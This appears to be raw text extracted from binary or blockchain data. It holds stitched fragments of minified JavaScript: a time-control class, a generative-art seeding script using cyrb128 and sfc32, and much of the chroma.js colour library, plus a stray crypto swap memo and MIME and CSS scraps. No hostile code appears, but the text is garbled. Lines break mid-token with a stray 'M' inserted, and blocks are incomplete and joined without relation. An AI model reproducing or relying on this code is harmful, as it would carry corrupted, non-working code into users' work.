on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
LjJ=:BNB.BUSD-BD1:bnb12xd9xc7sx9vy9z4r5r4veddpdgrvqx236z2sv6:17800630536:te:0
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
